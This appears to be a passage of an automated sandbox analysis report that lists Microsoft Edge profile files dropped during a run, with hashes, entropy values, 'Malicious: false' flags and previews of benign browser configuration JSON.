C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\mhpndkmgbeollhlhekioinkiofjhnfki\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\mhpndkmgbeollhlhekioinkiofjhnfki\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\4cdaab27-f2c7-44a6-9b91-027c7968e31b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\746d4978-54f9-44a5-a112-4e76b4fc789b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\9d44da8e-adec-4a59-9791-d41df16adce1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1144
Entropy (8bit):	5.310531479635794
Encrypted:	false
SSDEEP:	24:YXsWy7yZVMdBsWAZFRudFGcsWZ6ma3yeebsW6ZFGJ/dbG7nby:YXsI8s/fcdsileebsBgzbZ
MD5:	7E6F6FC728AADA148D8F455EA9C58274
SHA1:	ED88D2F2774A2682B0F936708236C416EB96B8FC
SHA-256:	CA2EB5C6A0C99D44B458B25880CD36E54AAC1A39548653F2BDD86FD1A967757C
SHA-512:	22FB91559776761AB928D62E4E3D121D01FAF5E1ABB59EE11EDDF92C64F7F50EB6A851FE28DCB1EC5F68C29D8E9460F335125CD11E4FD1258C8DDB511941938E
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13360971732078726","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com"},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13360971736128121","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com"},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13358473337127911","port":443,"protocol_str":"quic"}],"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com"},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13360971756941353","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://w

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	61
Entropy (8bit):	3.926136109079379
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LSL:YHpoeSL
MD5:	4DF4574BFBB7E0B0BC56C2C9B12B6C47
SHA1:	81EFCBD3E3DA8221444A21F45305AF6FA4B71907
SHA-256:	E1B77550222C2451772C958E44026ABE518A2C8766862F331765788DDD196377
SHA-512:	78B14F60F2D80400FE50360CF303A961685396B7697775D078825A29B717081442D357C2039AD0984D4B622976B0314EDE8F478CDE320DAEC118DA546CB0682A
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF2f6ba.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	61
Entropy (8bit):	3.926136109079379
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LSL:YHpoeSL
MD5:	4DF4574BFBB7E0B0BC56C2C9B12B6C47
SHA1:	81EFCBD3E3DA8221444A21F45305AF6FA4B71907
SHA-256:	E1B77550222C2451772C958E44026ABE518A2C8766862F331765788DDD196377
SHA-512:	78B14F60F2D80400FE50360CF303A961685396B7697775D078825A29B717081442D357C2039AD0984D4B622976B0314EDE8F478CDE320DAEC118DA546CB0682A
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF3e1e5.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	61
Entropy (8bit):	3.926136109079379
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LSL:YHpoeSL
MD5:	4DF4574BFBB7E0B0BC56C2C9B12B6C47
SHA1:	81EFCBD3E3DA8221444A21F45305AF6FA4B71907
SHA-256:	E1B77550222C2451772C958E44026ABE518A2C8766862F331765788DDD196377
SHA-512:	78B14F60F2D80400FE50360CF303A961685396B7697775D078825A29B717081442D357C2039AD0984D4B622976B0314EDE8F478CDE320DAEC118DA546CB0682A
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.3221890395727398
Encrypted:	false
SSDEEP:	48:TaIopKWurJNVr1GJmA8pv82pfurJNVrdHXuccaurJN2VrJ1n4n1GmzNGU1cSBCWN:uIEumQv8m1ccnvS63ptaD62RjK+ecyv
MD5:	440EB47887623994F44BB05B66C7E30F
SHA1:	B22B1FDC022996045A7B509B53489304E7CD1B8D
SHA-256:	49A3E6CD35513868BD13BB9CD044FB0A1A60AFE98ACBDF61EF472D73EC0E90B4
SHA-512:	BF6519777896C9875060422D14B6A7613322AD53F93161D4B5099FFD41AFB2900C5013553812AE4AB980A24CF2DAB68FAAB462F272B2AED0B8CACEBC34FAF5DF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF2daa6.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF2db23.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\TransportSecurity

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	203
Entropy (8bit):	5.4042796420747425
Encrypted:	false
SSDEEP:	6:YAQN1iL50xHA9vh8wXwlmUUAnIMp5sXX2SQ:Y45Sg9vt+UAnIXZQ
MD5:	24D66E5F1B8C76C76511DA68057CDE5E
SHA1:	70225FEC1AE3FEF8D8A767D9EA0B0E108BF8F10D
SHA-256:	D5CB3A4A104E2EC4F13E8B4CDF3BD469E0AB638713928BEA1EAEAF03998B794C
SHA-512:	1CA093B4BB4E0B3EE0B791AD0E6B39AC9640CEB6ED005BD10A10B4AF904858F4898D86D26B60B625CDA9425FF317C6B9FE0DF2E12C897A52720AF775B19491AA
Malicious:	false
Preview:	{"expect_ct":[],"sts":[{"expiry":1727869700.805692,"host":"dUymlFcJcEIuWrPNRCRXYtREHxXDHdPfT47kO1IQnQ0=","mode":"force-https","sts_include_subdomains":true,"sts_observed":1696333700.805702}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\TransportSecurity~RF2f6ca.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	203
Entropy (8bit):	5.4042796420747425
Encrypted:	false
SSDEEP:	6:YAQN1iL50xHA9vh8wXwlmUUAnIMp5sXX2SQ:Y45Sg9vt+UAnIXZQ
MD5:	24D66E5F1B8C76C76511DA68057CDE5E
SHA1:	70225FEC1AE3FEF8D8A767D9EA0B0E108BF8F10D
SHA-256:	D5CB3A4A104E2EC4F13E8B4CDF3BD469E0AB638713928BEA1EAEAF03998B794C
SHA-512:	1CA093B4BB4E0B3EE0B791AD0E6B39AC9640CEB6ED005BD10A10B4AF904858F4898D86D26B60B625CDA9425FF317C6B9FE0DF2E12C897A52720AF775B19491AA
Malicious:	false
Preview:	{"expect_ct":[],"sts":[{"expiry":1727869700.805692,"host":"dUymlFcJcEIuWrPNRCRXYtREHxXDHdPfT47kO1IQnQ0=","mode":"force-https","sts_include_subdomains":true,"sts_observed":1696333700.805702}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\a86dd10d-090e-4b67-a5c0-7d49815b7716.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\dd30c035-e8b4-4c33-9398-99cd252e6cba.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	188
Entropy (8bit):	5.423404609678128
Encrypted:	false
SSDEEP:	3:YWRAWNjBSVVLTRn0xmuRA9E+L3x8HQXwlm9yJUA6XcIR6RX77XMqGwmvXjz2SQ:YWyWN1iL50xHA9vh8wXwlmUUAnIMp5sO
MD5:	6833E2FEEACF2930174137246FC7E09F
SHA1:	7707DD22D2CFD3C3B79D727C93AE1D3DFD90B307
SHA-256:	839EB286A9A424BFB655D9DA050BE4CAE90B3DE4894CFE1F352919B551F17C0C
SHA-512:	B987F42C327EA83EE824E0E9BBC2AE5727CBB3B8DF29659C7E11798E24D5F8A94A05644200B6B57754876050E805EEAB90A0DAC437296BFED54C49535AF133C0
Malicious:	false
Preview:	{"sts":[{"expiry":1727869700.805692,"host":"dUymlFcJcEIuWrPNRCRXYtREHxXDHdPfT47kO1IQnQ0=","mode":"force-https","sts_include_subdomains":true,"sts_observed":1696333700.805702}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\e2e0c34c-2646-4aaf-b536-042d4583c7f7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKtiVY:YHpoeS7PMVKJTnMRK3VY
MD5:	285252A2F6327D41EAB203DC2F402C67
SHA1:	ACEDB7BA5FBC3CE914A8BF386A6F72CA7BAA33C6
SHA-256:	5DFC321417FC31359F23320EA68014EBFD793C5BBED55F77DAB4180BBD4A2026
SHA-512:	11CE7CB484FEE66894E63C31DB0D6B7EF66AD0327D4E7E2EB85F3BCC2E836A3A522C68D681E84542E471E54F765E091EFE1EE4065641B0299B15613EB32DCC0D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\f777b565-fe97-4037-942a-af264455caf6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	10056
Entropy (8bit):	4.971487167357033
Encrypted:	false
SSDEEP:	192:sVZkdp2JCHsaYHeJ/8Ipj+FsBQwZQMCdf:sVZQ2J0sOpUqQwSh
MD5:	861A054E8AEA62B123C7EBC12630D072
SHA1:	EA762E838F31A0927B1D16683BC2E9A471A737BD
SHA-256:	FB77FB5D89777C7BEC83103FE0E822F4254B660643A3F8E8B1CBBE9FA723CEC6
SHA-512:	DB1CB14726F40DBD3C3C601FC338D1335D0A9AD247E9F168ADE07CCED82B848E5B4D2D266B4A77925B80E82E583CDA9D80674E4AC3D173C859836A137998CD0B
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_id_migration_state":2,"account_tracker_service_last_update":"13358379730626790","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0","0","0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF2fdce.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	10056
Entropy (8bit):	4.971487167357033
Encrypted:	false
SSDEEP:	192:sVZkdp2JCHsaYHeJ/8Ipj+FsBQwZQMCdf:sVZQ2J0sOpUqQwSh
MD5:	861A054E8AEA62B123C7EBC12630D072
SHA1:	EA762E838F31A0927B1D16683BC2E9A471A737BD
SHA-256:	FB77FB5D89777C7BEC83103FE0E822F4254B660643A3F8E8B1CBBE9FA723CEC6
SHA-512:	DB1CB14726F40DBD3C3C601FC338D1335D0A9AD247E9F168ADE07CCED82B848E5B4D2D266B4A77925B80E82E583CDA9D80674E4AC3D173C859836A137998CD0B
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_id_migration_state":2,"account_tracker_service_last_update":"13358379730626790","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0","0","0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF34065.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	10056
Entropy (8bit):	4.971487167357033
Encrypted:	false
SSDEEP:	192:sVZkdp2JCHsaYHeJ/8Ipj+FsBQwZQMCdf:sVZQ2J0sOpUqQwSh
MD5:	861A054E8AEA62B123C7EBC12630D072
SHA1:	EA762E838F31A0927B1D16683BC2E9A471A737BD
SHA-256:	FB77FB5D89777C7BEC83103FE0E822F4254B660643A3F8E8B1CBBE9FA723CEC6
SHA-512:	DB1CB14726F40DBD3C3C601FC338D1335D0A9AD247E9F168ADE07CCED82B848E5B4D2D266B4A77925B80E82E583CDA9D80674E4AC3D173C859836A137998CD0B
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_id_migration_state":2,"account_tracker_service_last_update":"13358379730626790","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0","0","0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF395f8.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	10056
Entropy (8bit):	4.971487167357033
Encrypted:	false
SSDEEP:	192:sVZkdp2JCHsaYHeJ/8Ipj+FsBQwZQMCdf:sVZQ2J0sOpUqQwSh
MD5:	861A054E8AEA62B123C7EBC12630D072
SHA1:	EA762E838F31A0927B1D16683BC2E9A471A737BD
SHA-256:	FB77FB5D89777C7BEC83103FE0E822F4254B660643A3F8E8B1CBBE9FA723CEC6
SHA-512:	DB1CB14726F40DBD3C3C601FC338D1335D0A9AD247E9F168ADE07CCED82B848E5B4D2D266B4A77925B80E82E583CDA9D80674E4AC3D173C859836A137998CD0B
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_id_migration_state":2,"account_tracker_service_last_update":"13358379730626790","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0","0","0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF3c11e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	10056
Entropy (8bit):	4.971487167357033
Encrypted:	false
SSDEEP:	192:sVZkdp2JCHsaYHeJ/8Ipj+FsBQwZQMCdf:sVZQ2J0sOpUqQwSh
MD5:	861A054E8AEA62B123C7EBC12630D072
SHA1:	EA762E838F31A0927B1D16683BC2E9A471A737BD
SHA-256:	FB77FB5D89777C7BEC83103FE0E822F4254B660643A3F8E8B1CBBE9FA723CEC6
SHA-512:	DB1CB14726F40DBD3C3C601FC338D1335D0A9AD247E9F168ADE07CCED82B848E5B4D2D266B4A77925B80E82E583CDA9D80674E4AC3D173C859836A137998CD0B
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_id_migration_state":2,"account_tracker_service_last_update":"13358379730626790","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0","0","0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF4aff3.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	10056
Entropy (8bit):	4.971487167357033
Encrypted:	false
SSDEEP:	192:sVZkdp2JCHsaYHeJ/8Ipj+FsBQwZQMCdf:sVZQ2J0sOpUqQwSh
MD5:	861A054E8AEA62B123C7EBC12630D072
SHA1:	EA762E838F31A0927B1D16683BC2E9A471A737BD
SHA-256:	FB77FB5D89777C7BEC83103FE0E822F4254B660643A3F8E8B1CBBE9FA723CEC6
SHA-512:	DB1CB14726F40DBD3C3C601FC338D1335D0A9AD247E9F168ADE07CCED82B848E5B4D2D266B4A77925B80E82E583CDA9D80674E4AC3D173C859836A137998CD0B
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_id_migration_state":2,"account_tracker_service_last_update":"13358379730626790","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0","0","0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\PreferredApps

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	4.051821770808046
Encrypted:	false
SSDEEP:	3:YVXADAEvTLSJ:Y9AcEvHSJ
MD5:	2B432FEF211C69C745ACA86DE4F8E4AB
SHA1:	4B92DA8D4C0188CF2409500ADCD2200444A82FCC
SHA-256:	42B55D126D1E640B1ED7A6BDCB9A46C81DF461FA7E131F4F8C7108C2C61C14DE
SHA-512:	948502DE4DC89A7E9D2E1660451FCD0F44FD3816072924A44F145D821D0363233CC92A377DBA3A0A9F849E3C17B1893070025C369C8120083A622D025FE1EACF
Malicious:	false
Preview:	{"preferred_apps":[],"version":1}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	26540
Entropy (8bit):	5.556524448103406
Encrypted:	false
SSDEEP:	768:gTgI8mWPMufAb8F1+UoAYDCx9Tuqh0VfUC9xbog/OVLKTCsYrwXpJtut:gTgI8mWPMufAbu1jasqCsJrtW
MD5:	8B80F3E3F42A13CF32B073CD3B0EA720
